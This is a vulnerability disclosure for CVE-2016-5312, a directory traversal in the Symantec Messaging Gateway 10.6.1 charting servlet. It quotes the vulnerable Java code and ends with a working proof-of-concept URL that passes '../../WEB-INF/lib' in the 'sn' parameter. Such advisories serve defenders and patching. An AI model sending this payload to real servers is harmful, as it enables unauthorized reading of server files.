Symantec Messaging Gateway 10.6.1 - Directory Traversal

# Title : Symantec Messaging Gateway <= 10.6.1 Directory Traversal
# Date : 28/09/2016
# Author : R-73eN
# Tested on : Symantec Messaging Gateway 10.6.1 (Latest)
# Software : https://www.symantec.com/products/threat-protection/messaging-gateway
# Vendor : Symantec
# CVE : CVE-2016-5312
# Vendor Advisory and Fix: https://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20160927_00
# 
#  ___        __        ____                 _    _  
# |_ _|_ __  / _| ___  / ___| ___ _ __      / \  | |    
#  | || '_ \| |_ / _ \| |  _ / _ \ '_ \    / _ \ | |    
#  | || | | |  _| (_) | |_| |  __/ | | |  / ___ \| |___ 
# |___|_| |_|_|  \___/ \____|\___|_| |_| /_/   \_\_____|
#
#
# DESCRIPTION:
#
# A charting component in the Symantec Messaging Gateway control center does not properly sanitize user input submitted for charting requests. 
# This could potentially result in an authorized but less privileged user gaining access to paths outside the authorized directory. 
# This could potentially provide read access to some files/directories on the server for which the user is not authorized.
#
The problem relies in the package kavachart-kcServlet-5.3.2.jar , File : com/ve/kavachart/servlet/ChartStream.java
The vulnerable code is
extends HttpServlet {
    public void doGet(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) {
        block6 : {
            try {
                String string = httpServletRequest.getParameter("sn"); 
                //**** Taking parameter "sn" and writing it to the "string variable"


                if (string == null) break block6;
                String string2 = string.substring(string.length() - 3);
                 
                byte[] arrby = (byte[])this.getServletContext().getAttribute(string); 
           
                //**** The string variable is passed here without any sanitanization for directory traversal
                //**** and you can successfully use this to do a directory traversal.
                
                if (arrby != null) {
                    httpServletResponse.setContentType("image/" + string2);
                    ServletOutputStream servletOutputStream = httpServletResponse.getOutputStream();
                    httpServletResponse.setContentLength(arrby.length);
                    servletOutputStream.write(arrby);
                    this.getServletContext().removeAttribute(string);
                    break block6;
                }


POC: 
https://IP-address:PORT/brightmail/servlet/com.ve.kavachart.servlet.ChartStream?sn=../../WEB-INF/lib